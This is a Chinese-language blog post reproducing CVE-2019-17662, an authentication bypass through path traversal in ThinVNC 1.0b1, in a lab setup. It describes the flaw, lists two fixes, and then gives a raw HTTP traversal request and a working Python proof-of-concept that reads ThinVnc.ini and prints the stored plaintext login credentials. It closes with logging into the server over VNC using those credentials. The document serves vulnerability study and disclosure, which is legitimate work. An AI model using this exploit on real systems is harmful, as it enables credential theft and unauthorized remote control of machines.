ThinVnc-身份验证绕过(CVE-2019-17662)

ThinVnc-身份验证绕过(CVE-2019-17662)

简介

ThinVNC是一款以网页浏览器为基础设计的远端桌面连接工具,不局限用户端使用那种作业平台,都可以通过采用HTML5为标准的浏览器来达到远端控制。通过利用最新的网络技术如AJAX,WebSockets和HTML5等,ThinVNC提供安全的,高性能的基于web的远程桌面访问。

影响范围

ThinVnc 1.0b1

漏洞成因

ThinVNC使用基本身份验证对用户进行身份验证以访问Web VNC界面。部署VNC服务器时,将在服务器端设置要使用的凭据。没有运行VNC服务器的固定端口,当尝试使用错误的身份验证凭据进行多重验证时,它将引发HTTP 401错误。可以使用以下向量来绕开它:

/../../../../../../../../../windows/win.ini

此目录遍历攻击向量使我们可以读取系统上的任何文件。我们可以使用相同的向量来窃取VNC客户端的凭据。窃取它们后,我们可以使用凭据来破坏VNC服务器。妥协后,我们可以通过终端访问VNC服务器。

修复方法

(1)禁止存储明文凭证

(2)切勿使用HTTP进行基本身份验证

环境搭建

1、测试环境

靶机:

windows 7 x64

IP:192.168.157.131

攻击机:
windows 10 X64
IP:192.168.1.115

2、下载ThinVnc 客户端

3、解压ThinVnc到靶机,无需安装,直接打开exe文件,开启服务即可。

服务开启后根目录生成配置文件,存储着vnc的明文登录凭证

漏洞复现

1、访问http://192.168.157.131:8080/进入vnc登录界面

2、接下来我们就可以构造payload来读取ThinVnc配置文件,payload如下:

GET /xyz/../../ThinVnc.ini HTTP/1.1
Host: 192.168.157.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Authorization: Digest username="admin", realm="ThinVNC", nonce="4yTOn+9f5UCoxvEB71/lQA==", uri="/windows/win.ini", response="676e14e9f98fd8147521a329f3e3c6f4", opaque="WRYFjqkyGmRk8RVWldmvJSyiFcL09YpGvw", qop=auth, nc=00000003, cnonce="1ca209d91259e628"
Connection: close
Upgrade-Insecure-Requests: 1


3、利用获取的口令,通过vnc直接连接到服务器上去

4、附POC

#!/usr/bin/python3

import sys
import requests

def exploit(host,port):
    url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
    r = requests.get(url)
    body = r.text
    print(body.splitlines()[2])
    print(body.splitlines()[3])

def main():

    if(len(sys.argv)!=3):
        print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
        print("Example:\n{} 192.168.157.131 8080")
    else:
        port = sys.argv[2]
        host = sys.argv[1]
        exploit(host,port)

if __name__ == '__main__':
    main()

参考链接:

posted @ 2019-11-20 11:36  g7y12  阅读(1386)  评论(0编辑  收藏  举报